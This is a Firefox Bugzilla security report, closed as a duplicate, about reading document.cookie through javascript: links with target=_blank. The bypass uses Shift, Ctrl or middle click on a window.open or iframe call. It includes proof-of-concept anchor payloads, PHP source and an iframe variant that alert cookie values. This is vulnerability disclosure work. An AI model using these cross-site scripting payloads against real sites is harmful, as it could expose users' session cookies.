1826890 - Potential security bypass when the target is set to `_blank`

Status: RESOLVED DUPLICATE of bug 672618

(Firefox :: General, defect, P3)

Description

[Soroush Dalili]

User Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36

Steps to reproduce:

Normally in Firefox it is not possible to access something like document.cookie using a JavaScript in the href attribute of an anchor tag (via cross-site scripting) when its target is set to _blank. This can be bypassed using Shift + Click or Ctrl + Click or Middle Mouse Click and opening a new window or a frame (when it is allowed).

After clicking the following link the JavaScript code will not be executed:

<a href="javascript:alert(document.cookie);" target="_blank">Click Me 1</a> 

The document.cookie value still will not be accessible after using Shift + Click or Ctrl + Click or Middle Mouse Click. This can be bypassed when using these key combinations with the following link which opens the original page in a new window (this could be done in an iframe if the page could be opened in a frame):

<a href="javascript:w=window.open('https://20.rs/pocs/firefox/anchor_target_blank.php','_blank');alert(/delay/);alert(w.document.cookie);" target="_blank">Click Me 2</a>

Here is a proof of concept: https://20.rs/pocs/firefox/anchor_target_blank.php
Its source is as follows:

<?php
header("X-Frame-Options: DENY");
setcookie("TestCookie", "SecretValue", time()+3600, "/pocs/firefox/");
?>

<br/>
<a href="javascript:alert(document.cookie);" target="_blank">Click Me 1</a> -> javascript:alert(document.cookie);
<br/><br/>
<a href="javascript:w=window.open('https://20.rs/pocs/firefox/anchor_target_blank.php','_blank');alert(/delay/);alert(w.document.cookie);" target="_blank">Click Me 2</a> -> javascript:w=window.open('https://20.rs/pocs/firefox/anchor_target_blank.php','_blank');alert(/delay/);alert(w.document.cookie);
<br/>

Actual results:

It is possible to access document.cookie from an about:blank page (null origin?) .

Expected results:

We should not be able to read a property such as document.cookie using the following link regardless of key combination used to open it:

<a href="javascript:w=window.open('https://20.rs/pocs/firefox/anchor_target_blank.php','_blank');alert(/delay/);alert(w.document.cookie);" target="_blank">Click Me 2</a>

Comment 1

[Soroush Dalili]

My Firefox browser user-agent is:

Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0

Comment 2

[Daniel Veditz [:dveditz]]

Attachment: preserved testcase

Comment 3

[Soroush Dalili]

I have updated the PoC located to include scenarios when framing is also allowed.

The iframe PoC:

javascript:document.write("<iframe name=myfrm src='https://20.rs/pocs/firefox/anchor_target_blank2.php' onload='alert(this.contentWindow.document.cookie)'>");document.close();

The X-Frame-Options: DENY header has been disabled in the PoC to support this example:
https://20.rs/pocs/firefox/anchor_target_blank.php

Comment 4

[Soroush Dalili]

The HTML code of the PoC page looks like this currently for future reference:

<br/>
<a href="javascript:alert(document.cookie);" target="_blank">Click Me 1</a> -> <pre>javascript:alert(document.cookie);</pre>
<br/><br/>
<a href="javascript:w=window.open('https://20.rs/pocs/firefox/anchor_target_blank.php','_blank');alert(/delay/);alert(w.document.cookie);" target="_blank">Click Me 2</a> -> <pre>javascript:w=window.open('https://20.rs/pocs/firefox/anchor_target_blank.php','_blank');alert(/delay/);alert(w.document.cookie);</pre>
<br/>
<a href="javascript:document.write(%22<iframe name=myfrm src='https://20.rs/pocs/firefox/anchor_target_blank2.php' onload='alert(this.contentWindow.document.cookie)'></iframe>%22);document.close();" target="_blank">Click Me 3 - when framing is allowed</a> -> <pre>javascript:document.write("&lt;iframe name=myfrm src='https://20.rs/pocs/firefox/anchor_target_blank2.php' onload='alert(this.contentWindow.document.cookie)'></iframe>");document.close();</pre>
<br/>
<br/>
<pre>
Use Shift+Click or Ctrl+Click or Middle-Mouse-Click in Firefox
</pre>

Comment 5

[BugBot [:suhaib / :marco]]

The severity field is not set for this bug.
:mossop, could you have a look please?

For more information, please visit BugBot documentation.

Comment 6

[Daniel Veditz [:dveditz]]

Sorry for the burst of bugspam: filter on tinkling-glitter-filtrate
Adding reporter-external keyword to security bugs found by non-employees for accounting reasons